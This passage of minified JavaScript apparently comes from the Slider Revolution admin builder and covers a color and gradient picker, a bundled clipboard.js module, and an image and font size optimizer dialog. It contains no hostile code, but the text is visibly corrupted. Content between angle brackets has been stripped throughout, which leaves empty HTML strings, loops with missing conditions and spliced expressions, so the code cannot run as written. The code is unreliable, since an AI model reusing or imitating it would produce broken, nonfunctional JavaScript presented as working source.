",em.innerHTML=a,document.getElementById("revbuilder-cpicker").appendChild(em),r=jQuery(document.getElementById("gc_skinPicker"));var s=function(){var e=[];for(var t in _e)for(var i in e[t]=-1,be)be.hasOwnProperty(i)&&void 0!==be[i].ref&&0!==be[i].ref.length&&-1===e[t]&&(e[t]=-1!==Wt(_e[t],be[i].ref,"r")?i:-1);var a=-1;for(var i in e)a=-1===a&&-1!==e[i]?e[i]:-1!==e[i]&&-1!==a[i]?-999:a;return a}();-1===s||-999===s?(Re=!1,document.getElementById("inp_SkinPicker").style.display="none",jQuery("#enadisaGlobalSkin")[0].checked=!1):(Re=s,r[0].value=s,document.getElementById("inp_SkinPicker").style.display="inline-block",jQuery("#enadisaGlobalSkin")[0].checked=!0,currentEditing.innerHTML=be[s].alias+" Skin"),void 0!==RVS&&void 0!==RVS.F&&void 0!==RVS.F.initOnOff&&(RVS.F.initOnOff(em),RVS.F.turnOnOff(em,!1)),r.ddTP("destroy").ddTP({tags:!1,pre:'',preDataFunction:function(e){var t=jQuery.rsColorPickerApi.getGlobalColors();return void 0!==t&&void 0!==t[e]?t[e].v:void 0},templateResult:Ut}),jQuery("#enadisaGlobalSkin").on("change",function(){ge=!0,!0===this.checked?(document.getElementById("inp_SkinPicker").style.display="inline-block",r.trigger("change.select2"),r.ddTP("change")):(Re=!1,Yt(-1),document.getElementById("inp_SkinPicker").style.display="none",ht(Ie,!1),currentEditing.innerHTML=editing)}),r.on("change.select2",function(){ge=!0,be=jQuery.extend(!0,{},t),-1!==Re&&-999!==Re&&void 0!==t[Re]&&ht(t[Re].v,!1),Re=this.value,Yt(this.value),function(e,t){var i="single"===t||"basic"===t;if(!i)for(var a in be[e].ref)be[e].ref.hasOwnProperty(a)&&(i=!0===i||RVS.F.noGradient(be[e].ref[a].r));i?jQuery("#revbuilder-cpicker-gradient-btn").hide():jQuery("#revbuilder-cpicker-gradient-btn").show()}(this.value,ye),currentEditing.innerHTML=be[this.value].alias+" Skin"})},hideGlobal:function(){jQuery("#revbuilder-cpicker-globals").remove(),be=void 0,Re=void 0}},e.rsColorPicker=function(t){Ve=e.extend(!0,Ve||{},t),t.mode&&(tt=t.mode),t.init&&(c=t.init),t.onAjax&&(B=t.onAjax),t.onEdit&&(O=t.onEdit),t.change&&(j=t.change),t.cancel&&(P=t.cancel),t.title&&(N=t.title),t.language&&t.language,t.widgetId&&(fe=t.widgetId),t.defaultValue&&(RSColor.defaultValue=t.defaultValue),t.wrapClasses&&(Ge=t.wrapClasses),t.appendedHtml&&(Te=t.appendedHtml),t.onRefresh&&(ee=t.defRefresh),b&&(Gt(),t.language&&pt(t.language))};var Xt={refresh:function(){var t=e(this),i=[t];if(t.hasClass("revbuilder-cpicker-component")){var a=t.data("revcp")||{},r=t.val()||a.defaultValue||RSColor.defaultValue,o=a.onRefresh||ee,s=RSColor.process(r);r=s[0],s="rgba"===s[1]&&RSColor.transparentRgba(r,!0)?"":r,"transparent"!==r?(t.data("tpcp")[0].style.background=s,Be&&Be.css("background",s)):(t.data("tpcp").css("background",""),Be&&Be.css("background","")),t.attr("data-color",r).data("hex",r),i[1]=r,o&&o(i[0],r)}else i[1]=!1,i[2]="Color Picker not inited for this input field yet";RVS.DOC.trigger("revcolorpickerrefresh",i)},destroy:function(){e(this).removeData().closest(".revbuilder-cpicker-master-wrap").removeData().remove()}};function Kt(){void 0!==RVS.LIB.COLOR_PRESETS&&RVS.LIB.COLOR_PRESETS||(RVS.LIB.COLOR_PRESETS={colors:[],gradients:[]}),RVS.LIB.COLOR_PRESETS.colors||(RVS.LIB.COLOR_PRESETS.colors=[]),RVS.LIB.COLOR_PRESETS.gradients||(RVS.LIB.COLOR_PRESETS.gradients=[]),e.rsColorPicker({custom:RVS.LIB.COLOR_PRESETS,onAjax:function(t,i,a,r,o){var s=!1,l=RVS.LIB.COLOR_PRESETS[a];switch(t){case"save":l[l.length]=i,s=!0;break;case"delete":var n=l.length;e:for(var d=0;d=0)i.rsColorPicker("refresh");else{var a=document.createElement("div"),r=document.createElement("span"),o=document.createElement("span");r.className="revbuilder-colorbox",o.className="revbuilder-colorbtn",a.className="revbuilder-colorpicker",a.appendChild(r),a.appendChild(o);var s,l,n=this.dataset.wrapClasses||Ge,d=this.dataset.wrapper,p=this.dataset.wrapId,u=this.dataset.title,v=this.value,g=1==i.data("visible")?"visible-cp-input":"";if(o.innerText=u||N||H||at.color,void 0!==n&&a.classList.add(n),p&&(a.id=p),t&&e.isPlainObject(t)){d||(d=t.wrapper),n||(n=t.wrapClasses),p||(p=t.wrapId),u||(u=t.title),l=t.defaultValue;var m=i.data("revcp");m&&(t=e.extend({},m,t)),i.data("revcp",t)}v||(v=l||RSColor.defaultValue,this.value=v),v=(s=RSColor.process(v))[0],"transparent"!==(s="rgba"===s[1]&&RSColor.transparentRgba(v,!0)?"":v)&&(r.style.background=s),this.dataset.color=v,this.classList.add("revbuilder-cpicker-component"),i.data("tpcp",jQuery(r)),(a=this.parentNode.insertBefore(a,this)).appendChild(this),(a=jQuery(a)).data("revcolorinput",i),d?(d=e(d).addClass("revbuilder-cpicker-master-wrap").addClass(g),a.wrap(d)):a.addClass("revbuilder-cpicker-master-wrap").addClass(g);var h=!!t&&(t.init||c),f=Ve?e.extend(!0,Ve,t||{}):t||!1;h&&h(a,i,v,f),RVS.DOC.trigger("revcolorpickerinit",[a,i,v,f])}})},e(function(){e("body").on("click.revcpicker",".revbuilder-colorpicker",function(){i||Qt(),ae=document.getElementById("revbuilder-cpicker-gradient-output"),m=document.getElementById("revbuilder-cpicker-r2"),h=document.getElementById("revbuilder-cpicker-g2"),f=document.getElementById("revbuilder-cpicker-b2"),u=document.getElementById("revbuilder-cpicker-r"),v=document.getElementById("revbuilder-cpicker-g"),g=document.getElementById("revbuilder-cpicker-b"),ue=e("#revbuilder-cpciker-point-container"),Be=e("#revbuilder-cpicker-preview-color"),we=e("#revbuilder-cpicker-color-opacity"),s=e("#revbuilder-cpicker-orientation-radial"),x=e("#revbuilder-cpicker-gradients-core"),_=e("#revbuilder-cpicker-gradient-hex"),D=e("#revbuilder-cpicker-hit-bottom"),w=e("#revbuilder-cpicker-color-hex"),n=e("#revbuilder-cpicker-hit-top"),ke=e(this).data("revcolorinput");var t,o,l,c,b,y,V,k,I,C,T,N,A,E=document.getElementById("revbuilder-cpicker-current-edit"),M=document.getElementById("revbuilder-cpicker-edit-title"),G=ke.attr("data-widget-id"),z=ke.attr("data-appended-html"),Q=ke.attr("data-editing"),H=ke.attr("data-colors"),Z=ke.attr("data-mode"),q=ke.data("revcp"),W=ke.attr("data-lang");if(H&&((H=JSON.parse(H.replace(/\&/g,'"'))).colors&&(y=H.colors),H.gradients&&(c=H.gradients)),q){var U=q.colors;U&&(U.core&&(l=U.core.colors,t=U.core.gradients),U.custom&&(b=U.custom.colors,o=U.custom.gradients)),T=q.onEdit,N=q.onAjax,k=q.change,I=q.cancel,W||(W=q.lang),Z||(Z=q.mode),z||(z=q.appendedHtml),Q||(Q=q.editing),G||(G=q.widgetId)}(t||l||o||b||c||y)&&(V={},(t||l||c||y)&&(V.core={colors:y||l||rt,gradients:c||t||ot}),(o||b)&&(V.custom={colors:b||rt,gradients:o||ot}),Zt(V)),G||(G=fe),G&&(S[0].id=G),z||(z=Te),z&&(F=e(z).appendTo(Ae)),W&&pt(W),Z||(Z=tt),Q?M.style.visibility="visible":(Q="",M.style.visibility="hidden"),E.innerHTML=Q,"single"===Z||"basic"===Z?(r=!1,R.hide(),L.show(),"basic"===Z&&S.addClass("is-basic")):(r=!0,R.show(),L.show()),function(e){return"string"==typeof e&&"transparent"!==e.trim()&&-1===e.search(/\[\{/)&&-1!==e.search("-gradient")}(A=ke.val()||RSColor.defaultValue)&&(A=RSColor.reverseGradient(A)),A.split("||").length>1&&(A=RSColor.joinToRgba(A),ke.val(A)),C=ht(A),Ie=C[0],ne=Ie,le=ke.val(),d=T||O,p=N||B,J=I||P,ze=k||j,"gradient"!==C[1]?L.data("state",Ie):R.data("state",Ie),a.addClass("revbuilder-colorpicker-open"),Fe=ke.data("tpcp"),S.data("revcpickerinput",ke).addClass("active").show(),Gt(),Ce=ke.attr("data-color");var Y=RSColor.process(A);"rgba"===Y[1]?0==(Y=RSColor.rgbValues(Y[0],4))[3]?Be.css("background",""):Be.css("background",Ce):"transparent"===Y[1]?Be.css("background",""):Be.css("background",Ce),Se=ke.data("hex"),e(".revbuilder-cpicker-color").not(".blank").each(vt),Ae.css({marginLeft:-.5*Ae.width(),marginTop:-.5*Ae.height()});var X=jQuery(".iris-square-value");!0!==X.data("badlistener")&&(X.on("click",function(){return this.href="",!1}),X.data("badlistener",!0)),RVS.DOC.trigger("RSCOLOR.OPEN",{openingValue:C[0],mode:Z,currentInput:ke})})});var $t=!1;"loading"===document.readyState?document.addEventListener("readystatechange",function(){"interactive"!==document.readyState&&"complete"!==document.readyState||$t||($t=!0,Kt())}):($t=!0,Kt())}("undefined"!==jQuery&&jQuery),function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).RSClipboard=e()}}(function(){return function e(t,i,a){function r(s,l){if(!i[s]){if(!t[s]){var n="function"==typeof require&&require;if(!l&&n)return n(s,!0);if(o)return o(s,!0);var d=new Error("Cannot find module '"+s+"'");throw d.code="MODULE_NOT_FOUND",d}var c=i[s]={exports:{}};t[s][0].call(c.exports,function(e){return r(t[s][1][e]||e)},c,c.exports,e,t,i,a)}return i[s].exports}for(var o="function"==typeof require&&require,s=0;s0&&void 0!==arguments[0]?arguments[0]:{};this.action=e.action,this.container=e.container,this.emitter=e.emitter,this.target=e.target,this.text=e.text,this.trigger=e.trigger,this.selectedText=""}},{key:"initSelection",value:function(){this.text?this.selectFake():this.target&&this.selectTarget()}},{key:"selectFake",value:function(){var e=this,t="rtl"==document.documentElement.getAttribute("dir");this.removeFake(),this.fakeHandlerCallback=function(){return e.removeFake()},this.fakeHandler=this.container.addEventListener("click",this.fakeHandlerCallback)||!0,this.fakeElem=document.createElement("textarea"),this.fakeElem.style.fontSize="12pt",this.fakeElem.style.border="0",this.fakeElem.style.padding="0",this.fakeElem.style.margin="0",this.fakeElem.style.position="absolute",this.fakeElem.style[t?"right":"left"]="-9999px";var a=window.pageYOffset||document.documentElement.scrollTop;this.fakeElem.style.top=a+"px",this.fakeElem.setAttribute("readonly",""),this.fakeElem.value=this.text,this.container.appendChild(this.fakeElem),this.selectedText=(0,i.default)(this.fakeElem),this.copyText()}},{key:"removeFake",value:function(){this.fakeHandler&&(this.container.removeEventListener("click",this.fakeHandlerCallback),this.fakeHandler=null,this.fakeHandlerCallback=null),this.fakeElem&&(this.container.removeChild(this.fakeElem),this.fakeElem=null)}},{key:"selectTarget",value:function(){this.selectedText=(0,i.default)(this.target),this.copyText()}},{key:"copyText",value:function(){var e=void 0;try{e=document.execCommand(this.action)}catch(t){e=!1}this.handleResult(e)}},{key:"handleResult",value:function(e){this.emitter.emit(e?"success":"error",{action:this.action,text:this.selectedText,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)})}},{key:"clearSelection",value:function(){this.trigger&&this.trigger.focus(),window.getSelection().removeAllRanges()}},{key:"destroy",value:function(){this.removeFake()}},{key:"action",set:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"copy";if(this._action=e,"copy"!==this._action&&"cut"!==this._action)throw new Error('Invalid "action" value, use either "copy" or "cut"')},get:function(){return this._action}},{key:"target",set:function(e){if(void 0!==e){if(!e||"object"!==(void 0===e?"undefined":a(e))||1!==e.nodeType)throw new Error('Invalid "target" value, use a valid Element');if("copy"===this.action&&e.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if("cut"===this.action&&(e.hasAttribute("readonly")||e.hasAttribute("disabled")))throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');this._target=e}},get:function(){return this._target}}]),e}();e.exports=o})},{select:5}],8:[function(e,t,i){!function(a,r){if(void 0!==i)r(t,e("./clipboard-action"),e("tiny-emitter"),e("good-listener"));else{var o={exports:{}};r(o,a.clipboardAction,a.tinyEmitter,a.goodListener),a.clipboard=o.exports}}(this,function(e,t,i,a){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function o(e,t){var i="data-clipboard-"+e;if(t.hasAttribute(i))return t.getAttribute(i)}var s=r(t),l=r(i),n=r(a),d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},c=function(){function e(e,t){for(var i=0;i0&&void 0!==arguments[0]?arguments[0]:{};this.action="function"==typeof e.action?e.action:this.defaultAction,this.target="function"==typeof e.target?e.target:this.defaultTarget,this.text="function"==typeof e.text?e.text:this.defaultText,this.container="object"===d(e.container)?e.container:document.body}},{key:"listenClick",value:function(e){var t=this;this.listener=(0,n.default)(e,"click",function(e){return t.onClick(e)})}},{key:"onClick",value:function(e){var t=e.delegateTarget||e.currentTarget;this.clipboardAction&&(this.clipboardAction=null),this.clipboardAction=new s.default({action:this.action(t),target:this.target(t),text:this.text(t),container:this.container,trigger:t,emitter:this})}},{key:"defaultAction",value:function(e){return o("action",e)}},{key:"defaultTarget",value:function(e){var t=o("target",e);if(t)return document.querySelector(t)}},{key:"defaultText",value:function(e){return o("text",e)}},{key:"destroy",value:function(){this.listener.destroy(),this.clipboardAction&&(this.clipboardAction.destroy(),this.clipboardAction=null)}}],[{key:"isSupported",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:["copy","cut"],t="string"==typeof e?[e]:e,i=!!document.queryCommandSupported;return t.forEach(function(e){i=i&&!!document.queryCommandSupported(e)}),i}}]),t}();e.exports=p})},{"./clipboard-action":7,"good-listener":4,"tiny-emitter":6}]},{},[8])(8)}),window.RVS=void 0===window.RVS?{}:window.RVS,RVS.F=void 0===RVS.F?{}:RVS.F,RVS.ENV=void 0===RVS.ENV?{}:RVS.ENV,RVS.LIB=void 0===RVS.LIB?{}:RVS.LIB,RVS.V=void 0===RVS.V?{}:RVS.V,RVS.S=void 0===RVS.S?{}:RVS.S,RVS.C=void 0===RVS.C?{}:RVS.C,RVS.WIN=void 0===RVS.WIN?jQuery(window):RVS.WIN,RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC,RVS.OZ=void 0===RVS.OZ?{}:RVS.OZ,function(){function e(e){if(void 0===RVS.ENV.optimizer){var s='
';s+='\t
',s+='\t\t
',s+='\t\t\t
',s+='\t\t\t\t
flash_on'+RVS_LANG.optimizertitel+'close
',s+='
',s+='
',s+='
'+RVS_LANG.element+"
",s+='
'+RVS_LANG.filesize+"
",s+='
'+RVS_LANG.dimensions+'help
'+RVS_LANG.toosmall+'
'+RVS_LANG.standard1x+'
'+RVS_LANG.retina2x+'
'+RVS_LANG.oversized+"
",s+='
'+RVS_LANG.suggestion+"
",s+='
',s+="
",s+="
",s+='\t\t\t\t
',s+="\t\t\t\t
",s+='\t\t\t\t",s+="\t\t\t
",s+="\t\t
",s+="\t
",s+="
",RVS.ENV.optimizer=jQuery(s),RVS.ENV.optlist=RVS.ENV.optimizer.find("#rbm_optimizer_list"),jQuery(document.body).append(RVS.ENV.optimizer)}RVS.ENV.optlist[0].innerHTML="",RVS.F.RSDialog.create({modalid:"#rbm_optimizer",bgopacity:.5}),RVS.S.optUID=0,RVS.OZ.slideFullSize=0,RVS.OZ.list={},RVS.OZ.loadAddons=[],RVS.OZ.addOnsFullSize=0,function(){if(RVS.V.avSizes=function(){var e=[];for(var t in void 0===RVS.V.sizes&&(RVS.V.sizes=["d","n","t","m"],RVS.V.sizesold=["desktop","notebook","tablet","mobile"]),RVS.V.sizes)!0===RVS.OZ.settings.size.custom[RVS.V.sizes[t]]&&e.push(RVS.V.sizes[t]);return e}(),RVS.OZ.toLoad={},void 0!==RVS.OZ&&void 0!==RVS.OZ.settings&&void 0!==RVS.OZ.settings.size){var e,s={w:l(RVS.OZ.settings.size.width),h:l(RVS.OZ.settings.size.height)},n=function(e,t,i,a){var r={w:e,h:t};e>t?e>i&&(r.w=i):t>a&&(r.h=a);return r}(s.w.max,s.h.max,1920,1920);for(var c in void 0!==RVS.OZ.settings&&void 0!==RVS.OZ.settings.layout&&void 0!==RVS.OZ.settings.layout.bg&&RVS.OZ.settings.layout.bg.useImage&&void 0!==RVS.OZ.settings.layout.bg.image&&""!==RVS.OZ.settings.layout.bg.image&&RVS.OZ.settings.layout.bg.image.length<5&&(RVS.ENV.optlist.append(t({alias:RVS_LANG.modulbackground,url:RVS.OZ.settings.layout.bg.image,rw:n.w,rh:n.h,pathURL:"settings.layout.bg.image",pathSize:"settings.layout.bg.imageSourceType",slideid:"settings"})),RVS.OZ.toLoad[RVS.S.optUID]=RVS.OZ.list[RVS.S.optUID].url),RVS.OZ.slideIDs){var p=RVS.OZ.slideIDs[c];void 0!==RVS.OZ[p]&&void 0!==RVS.OZ[p].slide&&void 0!==RVS.OZ[p].slide.bg&&("image"!==RVS.OZ[p].slide.bg.type&&"external"!==RVS.OZ[p].slide.bg.type&&"html5"!==RVS.OZ[p].slide.bg.type&&"youtube"!==RVS.OZ[p].slide.bg.type&&"vimeo"!==RVS.OZ[p].slide.bg.type||void 0===RVS.OZ[p].slide.bg.image||""===RVS.OZ[p].slide.bg.image||RVS.OZ[p].slide.bg.image.length<5||(RVS.OZ[p].slide.title=void 0===RVS.OZ[p].slide.title?"Slide":RVS.OZ[p].slide.title,RVS.ENV.optlist.append(t({alias:"#"+(parseInt(c)+1)+" "+RVS.OZ[p].slide.title,url:RVS.OZ[p].slide.bg.image,rw:n.w,rh:n.h,pathURL:p+".slide.bg.image",pathSize:p+".slide.bg.imageSourceType",slideid:p})),RVS.OZ.toLoad[RVS.S.optUID]=RVS.OZ.list[RVS.S.optUID].url))}for(var c in RVS.OZ.slideIDs){var p=RVS.OZ.slideIDs[c];if(void 0!==RVS.OZ[p]&&void 0!==RVS.OZ[p].layers)for(var u in RVS.OZ[p].layers){var v,g=RVS.OZ[p].layers[u],m=0;if(void 0!==g.idle&&void 0!==g.idle.backgroundImage&&g.idle.backgroundImage.length>4&&(m={layerid:u,imgtype:"bg",bgsize:g.idle.backgroundSize,alias:g.alias,url:g.idle.backgroundImage,path:p+".layers."+u+".idle.",pathURL:p+".layers."+u+".idle.backgroundImage",pathSize:p+".layers."+u+".behavior.imageSourceType",slideid:p}),"image"===g.type&&void 0!==g.media&&void 0!==g.media.imageUrl&&g.media.imageUrl.length>4&&(m={layerid:u,imgtype:"image",alias:g.alias,url:g.media.imageUrl,pathURL:p+".layers."+u+".media.imageUrl",pathSize:p+".layers."+u+".behavior.imageSourceType",slideid:p}),"video"===g.type&&void 0!==g.media&&void 0!==g.media.posterUrl&&g.media.posterUrl.length>4&&(m={layerid:u,imgtype:"poster",alias:g.alias,url:g.media.posterUrl,pathURL:p+".layers."+u+".media.posterUrl",pathSize:p+".layers."+u+".behavior.imageSourceType",slideid:p}),"text"!==g.type&&"button"!==g.type||o(g),void 0!==m&&0!==m){var h={w:s.w.sizes,h:s.w.sizes};if(-1!==g.group.puid&&void 0!==g.group.puid){var f=RVS.OZ[p].layers[g.group.puid];"group"===f.type&&(h.w=l(f.size.width,h.w).sizes,h.h=l(f.size.height,h.h).sizes)}"column"===g.type?(m.rw=l(g.size.width,h.w,RVS.F.convertFraction(g.group.columnSize),g.group.columnbreakat).max,m.rh=l(g.size.height,h.h).max):(m.rw=l(g.size.width,h.w).max,m.rh=l(g.size.height,h.h).max),RVS.ENV.optlist.append(t(m)),RVS.OZ.toLoad[RVS.S.optUID]=RVS.OZ.list[RVS.S.optUID].url}}}for(c in RVS.OZ.fontFamilies)RVS.OZ.fontFamilies.hasOwnProperty(c)&&(v=i({alias:c,weights:RVS.OZ.fontFamilies[c].weights}),RVS.ENV.optlist.append(v));for(c in RVS.OZ.settings.addOns)RVS.OZ.settings.addOns.hasOwnProperty(c)&&!0===RVS.OZ.settings.addOns[c].enable&&(e=a({alias:void 0===RVS.LIB.ADDONS||void 0===RVS.LIB.ADDONS[c]||void 0===RVS.LIB.ADDONS[c].full_title?c:RVS.LIB.ADDONS[c].full_title,slug:c}),RVS.ENV.optlist.append(e));var S=void 0!==RVS.ENV.output_compress&&RVS.ENV.output_compress.length>0;RVS.ENV.optlist.append(r({alias:RVS_LANG.coretools,size:S?"43 kb":"116 kb",warning:S?"":RVS_LANG.enablecompression})),RVS.ENV.optlist.append(r({alias:RVS_LANG.corejs,size:S?"72 kb":"289 kb",warning:S?"":RVS_LANG.enablecompression})),RVS.ENV.optlist.append(r({alias:RVS_LANG.corecss,size:S?"11 kb":"55 kb",warning:S?"":RVS_LANG.enablecompression})),RVS.OZ.coreFullSize=S?134:481,function(){if(void 0===RVS.OZ.loadAddons||0==RVS.OZ.loadAddons.length)return;RVS.F.ajaxRequest("get_addons_sizes",{addons:RVS.OZ.loadAddons},function(e){if(e.success){for(var t in e.addons)if(RVS.F.isNumeric(parseInt(e.addons[t]))){var i=Math.round(parseInt(e.addons[t],0)/1e3);jQuery("#addrowsize_"+t).html(i+" kb"),RVS.OZ.addOnsFullSize+=i}d()}},void 0,!0)}(),RVS.F.ajaxRequest("get_same_aspect_ratio",{images:RVS.OZ.toLoad},function(e){if(e.success){for(var t in e.images)if(e.images.hasOwnProperty(t))for(var i in RVS.OZ.list[t].images=jQuery.extend(!0,{},e.images[t]),RVS.OZ.list[t].images)RVS.OZ.list[t].images.hasOwnProperty(i)&&!0===RVS.OZ.list[t].images[i].default&&(RVS.OZ.list[t].selected=jQuery.extend(!0,{},RVS.OZ.list[t].images[i]));d()}},void 0,!0)}}(),jQuery("#rbm_optimizer_list").RSScroll({wheelPropagation:!1,suppressScrollX:!0}),RVS.F.RSDialog.center()}function t(e){RVS.S.optUID++;var t='
';return t+='
'+e.alias+"
",t+='
'+RVS_LANG.calculating+"
",t+='
',t+='
',t+='
',t+="
",RVS.OZ.list[RVS.S.optUID]={row:jQuery(t),url:e.url,rw:e.rw,rh:e.rh,path:e.path,bgsize:e.bgsize,pathURL:e.pathURL,pathSize:e.pathSize,slideid:e.slideid,layerid:e.layerid,imgtype:e.imgtype},RVS.OZ.list[RVS.S.optUID].row}function i(e){e.alias=e.alias.trimStart(),e.alias=e.alias.trimEnd();var t=e.alias.split(" ").join("+"),i=e.alias.split(" ").join("_").split(",").join("_"),a=e.weights.toString().split(",").join("%2C"),r=function(e){if(null==RVS||void 0===RVS.LIB||void 0===RVS.LIB.FONTS)return!1;var t=!1;for(var i in RVS.LIB.FONTS)!0===t||!RVS.LIB.FONTS.hasOwnProperty(i)||"custom"!==RVS.LIB.FONTS[i].type&&"websafe"!==RVS.LIB.FONTS[i].type||(t=RVS.LIB.FONTS[i].label==e);return t}(e.alias),o='
';return o+='
text_fields'+e.alias+" "+e.weights.toString()+"
",o+='
'+(!0===r?"N.A":RVS_LANG.calculating)+"
",o+='
',o+='
',o+='
',o+="
",o=jQuery(o),!0!==r&&function(e,t,i){var a=new XMLHttpRequest;a.open("GET",e,!0),a.onreadystatechange=function(){if(this.readyState==this.DONE){var e=[],r=a.response.split("url(");for(var o in r)if("h"===r[o][0]||"H"===r[o][0]){var l=r[o].split(") format");-1==jQuery.inArray(l[0],e)&&e.push(l[0])}for(var n in e)s(e[n],t,i)}},a.onerror=function(e){jQuery("#fontrowsize_"+i)[0].innerHTML="N.A."},a.send()}("https://fonts.googleapis.com/css?family="+t+":"+a,e.alias,i),o}function a(e){RVS.OZ.loadAddons.push(e.slug),e.alias=e.alias.replace("Slider Revolution","");e.alias.split(" ").join("_");var t='
';return t+='
extension'+e.alias+"
",t+='
'+RVS_LANG.calculating+"
",t+='
',t+='
',t+='
',t+="
",t=jQuery(t)}function r(e){var t='
';return t+='
code'+e.alias+"
",t+='
'+e.size+"
",t+='
',t+='
'+e.warning+"
",t+='
',t+="
",t=jQuery(t)}function o(e){for(var t in void 0!==e.idle&&void 0===e.idle.fontFamily&&(e.idle.fontFamily="Roboto"),RVS.OZ.fontFamilies=void 0===RVS.OZ.fontFamilies?{}:RVS.OZ.fontFamilies,RVS.OZ.fontFamilies[e.idle.fontFamily]=void 0===RVS.OZ.fontFamilies[e.idle.fontFamily]?{weights:[],italic:!1}:RVS.OZ.fontFamilies[e.idle.fontFamily],RVS.V.avSizes)void 0!==e.idle&&void 0!==e.idle.fontWeight&&void 0!==e.idle.fontWeight[RVS.V.avSizes[t]]&&-1===jQuery.inArray(e.idle.fontWeight[RVS.V.avSizes[t]].v,RVS.OZ.fontFamilies[e.idle.fontFamily].weights)&&RVS.OZ.fontFamilies[e.idle.fontFamily].weights.push(e.idle.fontWeight[RVS.V.avSizes[t]].v);RVS.OZ.fontFamilies[e.idle.fontFamily].italic=!0===RVS.OZ.fontFamilies[e.idle.fontFamily].italic||!0===e.idle.fontStyle}function s(e,t,i){var a=new XMLHttpRequest;a.open("HEAD",e,!0),a.onreadystatechange=function(){if(this.readyState===this.DONE){var e=parseInt(a.getResponseHeader("Content-Length"));RVS.OZ.fontFamilies[t].size=void 0===RVS.OZ.fontFamilies[t].size?e:RVS.OZ.fontFamilies[t].size+e,jQuery("#fontrowsize_"+i)[0].innerHTML=Math.round(parseInt(RVS.OZ.fontFamilies[t].size)/1e3)+" kb",p()}},a.onerror=function(e){jQuery("#fontrowsize_"+i)[0].innerHTML="N.A."},a.send()}function l(e,t,i,a){var r=0,o={};for(var s in RVS.V.avSizes){var l=r;void 0!==i?("notebook"===a&&jQuery.inArray(RVS.V.avSizes[s],["t","m","n"])>=0&&(i=1),"mobile"===a&&jQuery.inArray(RVS.V.avSizes[s],["m"])>=0&&(i=1),"tablet"===a&&jQuery.inArray(RVS.V.avSizes[s],["t","m"])>=0&&(i=1),l=t[RVS.V.avSizes[s]]*i):(void 0!==e&&void 0!==e[RVS.V.avSizes[s]]&&(l=void 0!==e[RVS.V.avSizes[s]].v?RVS.F.isNumeric(parseInt(e[RVS.V.avSizes[s]].v))?e[RVS.V.avSizes[s]].v:r:RVS.F.isNumeric(parseInt(e[RVS.V.avSizes[s]]))?e[RVS.V.avSizes[s]]:r),l=(l+"").indexOf("%")>=0?t[RVS.V.avSizes[s]]*(parseInt(l,0)/100):parseInt(l,0)),r=Math.max(l,r),o[RVS.V.avSizes[s]]=l}return{max:parseInt(r,0),sizes:o}}function n(e){e.h,e.w;return 0===e.rh&&0===e.rw&&(e.rh=e.h,e.rw=e.w),0===e.rh&&(e.rh=e.rw/e.w*e.h),0===e.rw&&(e.rw=e.rh/e.h*e.w),{width:e.rw,height:e.rh}}function d(){for(var e in RVS.OZ.minFullSize=0,RVS.OZ.list)if(RVS.OZ.list.hasOwnProperty(e)){var t,i,a,r,o=RVS.OZ.list[e],s=jQuery(o.row.find(".op_c_c")),l={index:-1,val:0},d={index:-1,val:999999},u="width",v=0,g=0,m=0,h=0,f=[];if(void 0!==o.selected){if(RVS.F.isNumeric(o.selected.size)){o.currentSize=o.selected.size,o.currentUrl=o.selected.url;var S=Math.round(o.selected.size/1e3)+" kb";o.row.find(".op_c_b")[0].innerHTML=S}(t=n({rw:o.rw,rh:o.rh,w:o.selected.width,h:o.selected.height})).widtho.selected.height&&(u="height"),"contain"===o.bgsize&&(u="width"===u?"height":"width")}if(void 0!==t){for(var b in o.images)if(o.images.hasOwnProperty(b)){var y=o.images[b][u]/t[u]*100/3;if(y>=33&&y<=67&&g++,1==o.images[b].default)i=y>=33&&y<=67,a=y>67,m=y,h=o.images[b].size,v=c({cont:s,ozindex:e,imgindex:b,left:y>100?100:y,amnt:v,class:"selected original"});else if(o.images[b][u]===t[u]||2*o.images[b][u]===t[u])v=c({cont:s,ozindex:e,imgindex:b,left:y>100?100:y,amnt:v});else if(l.valy&&y>67)d={index:b,val:y,size:o.images[b].size};else if(y>33&&y<67){for(var R in r=y<38?38:y>62?62:y,f)Math.abs(f[R]-r)<3&&(r+=r30?30:l.val,v=c({cont:s,ozindex:e,imgindex:l.index,left:r,amnt:v})),-1!==d.index&&(!0!==a||m>d.val)&&(Math.abs(d.val-m)<3&&(d.val+=m=97?97:d.val<70?70:d.val,v=c({cont:s,ozindex:e,imgindex:d.index,left:r,amnt:v}));var _=h;-1!==l.index&&RVS.F.isNumeric(parseInt(l.size,0))?_=h>l.size?parseInt(l.size,0):h:-1!==d.index&&RVS.F.isNumeric(parseInt(d.size,0))&&(_=h>d.size?parseInt(d.size,0):h),RVS.OZ.minFullSize+=_}var V="";0===g?V=RVS_LANG.chgimgsizesrc:g>0&&!0!==i&&(V=RVS_LANG.pickandim),""!==V&&(o.row.find(".op_c_d")[0].innerHTML=V),o.row[0].dataset.currentinfo=V}RVS.OZ.minFullSize=RVS.OZ.minFullSize/1e3,p(!0)}function c(e){return e.class=void 0===e.class?"":e.class,e.cont.append('
